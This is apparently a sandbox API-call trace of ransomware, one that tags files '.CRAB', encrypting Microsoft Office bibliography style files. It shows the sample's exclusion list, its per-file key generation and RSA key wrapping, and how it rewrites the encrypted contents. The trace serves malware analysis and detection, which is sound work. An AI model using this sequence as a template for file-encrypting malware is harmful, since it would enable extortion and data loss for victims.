	[0110.507] lstrcmpiW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="boot.ini") returned 1
	[0110.507] lstrcmpiW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="ntuser.dat.log") returned -1
	[0110.507] lstrcmpiW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="thumbs.db") returned -1
	[0110.507] lstrcmpiW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.507] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.508] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.CRAB") returned 105
	[0110.508] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl")) returned 0x20
	[0110.509] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl", dwFileAttributes=0x20) returned 1
	[0110.509] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl.crab")) returned 1
	[0110.510] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.510] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.CRAB"
	[0110.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.CRAB.CRAB"
	[0110.510] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e5a0) returned 1
	[0110.511] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.511] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.512] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.512] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.512] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0110.512] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.512] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e7c0) returned 1
	[0110.512] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.513] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.513] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.513] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.513] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0110.513] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.513] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.513] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.514] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e738) returned 1
	[0110.514] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7170) returned 1
	[0110.514] CryptGetKeyParam (in: hKey=0xda7170, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.514] CryptEncrypt (in: hKey=0xda7170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.515] GetLastError () returned 0x0
	[0110.515] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0110.515] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.515] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7230) returned 1
	[0110.515] CryptGetKeyParam (in: hKey=0xda7230, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.515] CryptEncrypt (in: hKey=0xda7230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.515] GetLastError () returned 0x0
	[0110.515] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.516] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.516] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.516] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.517] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x45882, lpOverlapped=0x0) returned 1
	[0110.551] VirtualAlloc (lpAddress=0x0, dwSize=0x45890, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.555] VirtualAlloc (lpAddress=0x0, dwSize=0x45890, flAllocationType=0x3000, flProtect=0x4) returned 0x33b0000
	[0110.561] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.562] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffba77e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.563] WriteFile (in: hFile=0x3f8, lpBuffer=0x33b0000*, nNumberOfBytesToWrite=0x45890, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b0000*, lpNumberOfBytesWritten=0x314a9bc*=0x45890, lpOverlapped=0x0) returned 1
	[0110.563] VirtualFree (lpAddress=0x33b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.564] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.568] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.568] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.568] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.568] CloseHandle (hObject=0x3f8) returned 1
	[0110.573] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.573] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.574] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.574] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.574] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.574] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.574] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.575] lstrcmpW (lpString1="IEEE2006OfficeOnline.xsl", lpString2=".") returned 1
	[0110.575] lstrcmpW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="..") returned 1
	[0110.575] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="IEEE2006OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl"
	[0110.575] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.575] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 91
	[0110.575] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 91
	[0110.575] lstrlenW (lpString=".xsl") returned 4
	[0110.575] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.575] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xsl ") returned 5
	[0110.575] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.575] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 91
	[0110.575] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 91
	[0110.576] lstrcmpiW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="desktop.ini") returned 1
	[0110.576] lstrcmpiW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="autorun.inf") returned 1
	[0110.576] lstrcmpiW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="ntuser.dat") returned -1
	[0110.576] lstrcmpiW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="iconcache.db") returned 1
	[0110.576] lstrcmpiW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="bootsect.bak") returned 1
	[0110.576] lstrcmpiW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="boot.ini") returned 1
	[0110.576] lstrcmpiW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="ntuser.dat.log") returned -1
	[0110.576] lstrcmpiW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="thumbs.db") returned -1
	[0110.576] lstrcmpiW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.576] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.576] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.CRAB") returned 96
	[0110.576] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl")) returned 0x20
	[0110.576] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl", dwFileAttributes=0x20) returned 1
	[0110.577] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl.crab")) returned 1
	[0110.577] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.578] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.CRAB"
	[0110.578] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.CRAB.CRAB"
	[0110.578] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e5a0) returned 1
	[0110.578] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.579] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.579] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.579] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.579] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0110.579] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.579] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e9e0) returned 1
	[0110.580] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.580] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.580] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.580] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0110.580] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.580] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.581] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.581] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.581] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda70b0) returned 1
	[0110.581] CryptGetKeyParam (in: hKey=0xda70b0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.582] CryptEncrypt (in: hKey=0xda70b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.582] GetLastError () returned 0x0
	[0110.582] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.582] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e738) returned 1
	[0110.582] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7270) returned 1
	[0110.582] CryptGetKeyParam (in: hKey=0xda7270, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.582] CryptEncrypt (in: hKey=0xda7270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.583] GetLastError () returned 0x0
	[0110.583] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0110.583] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.584] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.585] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.585] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x47e7d, lpOverlapped=0x0) returned 1
	[0110.613] VirtualAlloc (lpAddress=0x0, dwSize=0x47e80, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.617] VirtualAlloc (lpAddress=0x0, dwSize=0x47e80, flAllocationType=0x3000, flProtect=0x4) returned 0x33b0000
	[0110.623] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.625] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffb8183, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.625] WriteFile (in: hFile=0x3f8, lpBuffer=0x33b0000*, nNumberOfBytesToWrite=0x47e80, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b0000*, lpNumberOfBytesWritten=0x314a9bc*=0x47e80, lpOverlapped=0x0) returned 1
	[0110.625] VirtualFree (lpAddress=0x33b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.627] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.631] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.631] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.631] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.631] CloseHandle (hObject=0x3f8) returned 1
	[0110.636] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.637] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.637] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.637] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.637] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.638] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.638] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.638] lstrcmpW (lpString1="ISO690.XSL", lpString2=".") returned 1
	[0110.638] lstrcmpW (lpString1="ISO690.XSL", lpString2="..") returned 1
	[0110.638] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL"
	[0110.638] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.638] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 77
	[0110.642] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 77
	[0110.642] lstrlenW (lpString=".XSL") returned 4
	[0110.642] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.642] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".XSL ") returned 5
	[0110.642] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.643] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 77
	[0110.643] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 77
	[0110.643] lstrcmpiW (lpString1="ISO690.XSL", lpString2="desktop.ini") returned 1
	[0110.643] lstrcmpiW (lpString1="ISO690.XSL", lpString2="autorun.inf") returned 1
	[0110.643] lstrcmpiW (lpString1="ISO690.XSL", lpString2="ntuser.dat") returned -1
	[0110.643] lstrcmpiW (lpString1="ISO690.XSL", lpString2="iconcache.db") returned 1
	[0110.643] lstrcmpiW (lpString1="ISO690.XSL", lpString2="bootsect.bak") returned 1
	[0110.643] lstrcmpiW (lpString1="ISO690.XSL", lpString2="boot.ini") returned 1
	[0110.643] lstrcmpiW (lpString1="ISO690.XSL", lpString2="ntuser.dat.log") returned -1
	[0110.643] lstrcmpiW (lpString1="ISO690.XSL", lpString2="thumbs.db") returned -1
	[0110.643] lstrcmpiW (lpString1="ISO690.XSL", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.643] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.643] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.CRAB") returned 82
	[0110.643] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl")) returned 0x20
	[0110.644] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", dwFileAttributes=0x20) returned 1
	[0110.645] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl.crab")) returned 1
	[0110.645] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
